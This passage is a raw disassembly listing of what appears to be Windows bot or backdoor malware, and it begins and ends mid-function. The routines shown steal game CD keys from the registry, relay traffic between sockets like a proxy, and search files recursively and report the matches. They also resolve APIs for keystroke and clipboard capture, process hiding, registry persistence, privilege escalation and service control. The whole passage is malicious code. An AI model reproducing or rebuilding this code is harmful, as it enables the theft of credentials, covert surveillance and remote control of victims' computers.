		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4416CC[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_408146
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4080D9
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D28
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40801D
; ---------------------------------------------------------------------------


loc_4080D1:				; CODE XREF: sub_407F42+19Aj
		push	5
		call	dword_421060	; Sleep


loc_4080D9:				; CODE XREF: sub_407F42+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_4080D1
		jmp	loc_40801D
; ---------------------------------------------------------------------------


loc_4080E3:				; CODE XREF: sub_407F42+7Bj
					; sub_407F42+8Cj
		push	edi
		call	dword_43C5EC
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_427CE0
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_408126
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412BD1
		add	esp, 14h


loc_408126:				; CODE XREF: sub_407F42+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B078
		push	[ebp+var_3C]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407F42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408146	proc near		; DATA XREF: sub_407F42+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_4416D4[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43C53C
		test	eax, eax
		jnz	short loc_4081C7
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4081C7:				; CODE XREF: sub_408146+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43C56C
		test	eax, eax
		jg	short loc_4081F8
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4081F8:				; CODE XREF: sub_408146+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4083F2
		cmp	[ebp+var_4CF], 1
		jnz	loc_4083F2
		cmp	[ebp+var_44], bl
		jz	short loc_40828E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40828E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_427EB8
		call	sub_40B0EC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_415390
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43C5A4
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40828E:				; CODE XREF: sub_408146+CFj
					; sub_408146+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_415390
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43C5D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_408326
		call	dword_43C4E8
		push	eax
		push	offset unk_427E68
		call	sub_40B0EC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415390
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43C5A4
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_408326:				; CODE XREF: sub_408146+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408395
		call	dword_43C4E8
		push	eax
		push	offset unk_427E10
		call	sub_40B0EC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415390
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43C5A4
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_408395:				; CODE XREF: sub_408146+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43C5A4
		push	dword ptr [esi]
		push	edi
		call	sub_40840A
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43C5EC
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4083F2:				; CODE XREF: sub_408146+B9j
					; sub_408146+C6j
		push	dword ptr [esi]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_408146	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40840A	proc near		; CODE XREF: sub_408146+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_408420:				; CODE XREF: sub_40840A+BEj
					; sub_40840A+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_408431:				; CODE XREF: sub_40840A+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_408442
		inc	eax
		cmp	eax, ecx
		jb	short loc_408431


loc_408442:				; CODE XREF: sub_40840A+31j
		cmp	eax, ecx
		jnz	short loc_408456
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408456:				; CODE XREF: sub_40840A+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43C53C
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43C44C
		test	eax, eax
		jz	short loc_4084B6
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43C56C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084FE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084FE


loc_4084B6:				; CODE XREF: sub_40840A+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C44C
		test	eax, eax
		jz	loc_408420
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43C56C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084FE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_408420


loc_4084FE:				; CODE XREF: sub_40840A+93j
					; sub_40840A+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40840A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408503	proc near		; CODE XREF: sub_40CD3A+525Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_427F0C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_4086AF
		push	esi
		push	edi
		mov	eax, offset off_427F0C
		mov	esi, offset dword_427F18
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408533:				; CODE XREF: sub_408503+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43C5C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43C460
		test	eax, eax
		jnz	loc_408696
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_40865A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415A08
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408696
		push	eax
		jmp	short loc_4085C3
; ---------------------------------------------------------------------------


loc_4085AE:				; CODE XREF: sub_408503+D0j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4085D7
		push	[ebp+var_8]


loc_4085C3:				; CODE XREF: sub_408503+A9j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_416FDC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4085AE
		jmp	short loc_40864F
; ---------------------------------------------------------------------------


loc_4085D7:				; CODE XREF: sub_408503+BBj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_416F20
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_70]
		jz	short loc_408616
		push	offset asc_429120 ; "="
		push	eax
		call	sub_416B3F
		push	offset asc_429120 ; "="
		push	ebx
		call	sub_416B3F
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415316
		add	esp, 20h
		jmp	short loc_40862A
; ---------------------------------------------------------------------------


loc_408616:				; CODE XREF: sub_408503+E5j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415316
		add	esp, 10h


loc_40862A:				; CODE XREF: sub_408503+111j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B078
		add	esp, 18h


loc_40864F:				; CODE XREF: sub_408503+D2j
		push	[ebp+var_8]
		call	sub_415960
		pop	ecx
		jmp	short loc_408696
; ---------------------------------------------------------------------------


loc_40865A:				; CODE XREF: sub_408503+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B078
		add	esp, 28h


loc_408696:				; CODE XREF: sub_408503+60j
					; sub_408503+A2j ...
		push	[ebp+var_4]
		call	dword_43C530
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_408533
		pop	edi
		pop	esi


loc_4086AF:				; CODE XREF: sub_408503+19j
		pop	ebx
		leave
		retn
sub_408503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4086B2	proc near		; DATA XREF: sub_40CD3A+3B87o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415B10
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408707
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415B10
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408707:				; CODE XREF: sub_4086B2+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_429178
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_40874C
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412BD1
		add	esp, 14h


loc_40874C:				; CODE XREF: sub_4086B2+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_4087CA
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_429144
		push	eax
		call	sub_415316
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4087AA
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412BD1
		add	esp, 14h


loc_4087AA:				; CODE XREF: sub_4086B2+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B078
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4086B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087CA	proc near		; CODE XREF: sub_4086B2+B9p
					; sub_4087CA+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41588A
		mov	edi, dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408887


loc_408816:				; CODE XREF: sub_4087CA+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408873
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_40883A
		cmp	[ebp+var_117], 0
		jz	short loc_408873
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408873


loc_40883A:				; CODE XREF: sub_4087CA+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41588A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4087CA
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408873:				; CODE XREF: sub_4087CA+53j
					; sub_4087CA+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408816


loc_408887:				; CODE XREF: sub_4087CA+4Aj
		push	[ebp+var_4]
		call	dword_421098	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40890D


loc_4088BE:				; CODE XREF: sub_4087CA+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41588A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_4088BE


loc_40890D:				; CODE XREF: sub_4087CA+F2j
		push	esi
		call	dword_421098	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40891C	proc near		; CODE XREF: sub_40C574+55p
		push	ebx
		push	ebp
		mov	ebp, dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408A3C
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43C600, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43C574, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43C558, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43C474, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43C420, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43C450, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43C4C4, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43C5B4, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43C60C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43C480, eax
		call	esi	; GetProcAddress
		cmp	dword_43C600, ebx
		mov	dword_43C468, eax
		jz	short loc_408A1A
		cmp	dword_43C574, ebx
		jz	short loc_408A1A
		cmp	dword_43C558, ebx
		jz	short loc_408A1A
		cmp	dword_43C474, ebx
		jz	short loc_408A1A
		cmp	dword_43C450, ebx
		jz	short loc_408A1A
		cmp	dword_43C4C4, ebx
		jz	short loc_408A1A
		cmp	dword_43C5B4, ebx
		jz	short loc_408A1A
		cmp	dword_43C60C, ebx
		jz	short loc_408A1A
		cmp	dword_43C480, ebx
		jz	short loc_408A1A
		cmp	eax, ebx
		jnz	short loc_408A24


loc_408A1A:				; CODE XREF: sub_40891C+B8j
					; sub_40891C+C0j ...
		mov	dword_43C610, 1


loc_408A24:				; CODE XREF: sub_40891C+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43C58C, eax
		jz	short loc_408A51
		push	1
		push	ebx
		call	eax
		jmp	short loc_408A51
; ---------------------------------------------------------------------------


loc_408A3C:				; CODE XREF: sub_40891C+1Dj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C614, eax
		mov	dword_43C610, 1


loc_408A51:				; CODE XREF: sub_40891C+117j
					; sub_40891C+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408B66
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43C5B0, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43C560, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43C4F4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43C604, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43C524, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43C544, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43C5A8, eax
		call	esi	; GetProcAddress
		cmp	dword_43C5B0, ebx
		mov	dword_43C49C, eax
		jz	short loc_408B0A
		cmp	dword_43C560, ebx
		jz	short loc_408B0A
		cmp	dword_43C4F4, ebx
		jz	short loc_408B0A
		cmp	dword_43C604, ebx
		jz	short loc_408B0A
		cmp	dword_43C524, ebx
		jz	short loc_408B0A
		cmp	dword_43C544, ebx
		jz	short loc_408B0A
		cmp	dword_43C5A8, ebx
		jz	short loc_408B0A
		cmp	eax, ebx
		jnz	short loc_408B14


loc_408B0A:				; CODE XREF: sub_40891C+1B8j
					; sub_40891C+1C0j ...
		mov	dword_43C618, 1


loc_408B14:				; CODE XREF: sub_40891C+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43C520, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43C434, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43C4F0, eax
		call	esi	; GetProcAddress
		cmp	dword_43C520, ebx
		mov	dword_43C4DC, eax
		jz	short loc_408B71
		cmp	dword_43C434, ebx
		jz	short loc_408B71
		cmp	dword_43C4F0, ebx
		jz	short loc_408B71
		cmp	eax, ebx
		jnz	short loc_408B7B
		jmp	short loc_408B71
; ---------------------------------------------------------------------------


loc_408B66:				; CODE XREF: sub_40891C+144j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C61C, eax


loc_408B71:				; CODE XREF: sub_40891C+232j
					; sub_40891C+23Aj ...
		mov	dword_43C618, 1


loc_408B7B:				; CODE XREF: sub_40891C+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408D16
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43C5C4, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43C508, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43C578, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43C460, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43C4C0, eax
		call	esi	; GetProcAddress
		cmp	dword_43C5C4, ebx
		mov	dword_43C530, eax
		jz	short loc_408C06
		cmp	dword_43C508, ebx
		jz	short loc_408C06
		cmp	dword_43C578, ebx
		jz	short loc_408C06
		cmp	dword_43C460, ebx
		jz	short loc_408C06
		cmp	dword_43C4C0, ebx
		jz	short loc_408C06
		cmp	eax, ebx
		jnz	short loc_408C10


loc_408C06:				; CODE XREF: sub_40891C+2C4j
					; sub_40891C+2CCj ...
		mov	dword_43C620, 1


loc_408C10:				; CODE XREF: sub_40891C+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43C538, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43C510, eax
		call	esi	; GetProcAddress
		cmp	dword_43C538, ebx
		mov	dword_43C5C0, eax
		jz	short loc_408C4B
		cmp	dword_43C510, ebx
		jz	short loc_408C4B
		cmp	eax, ebx
		jnz	short loc_408C55


loc_408C4B:				; CODE XREF: sub_40891C+321j
					; sub_40891C+329j
		mov	dword_43C620, 1


loc_408C55:				; CODE XREF: sub_40891C+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43C548, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43C43C, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43C444, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43C4A4, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43C4A8, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43C458, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43C514, eax
		call	esi	; GetProcAddress
		cmp	dword_43C548, ebx
		mov	dword_43C448, eax
		jz	short loc_408CF9
		cmp	dword_43C43C, ebx
		jz	short loc_408CF9
		cmp	dword_43C444, ebx
		jz	short loc_408CF9
		cmp	dword_43C4A4, ebx
		jz	short loc_408CF9
		cmp	dword_43C4A8, ebx
		jz	short loc_408CF9
		cmp	dword_43C458, ebx
		jz	short loc_408CF9
		cmp	dword_43C514, ebx
		jz	short loc_408CF9
		cmp	eax, ebx
		jnz	short loc_408D03


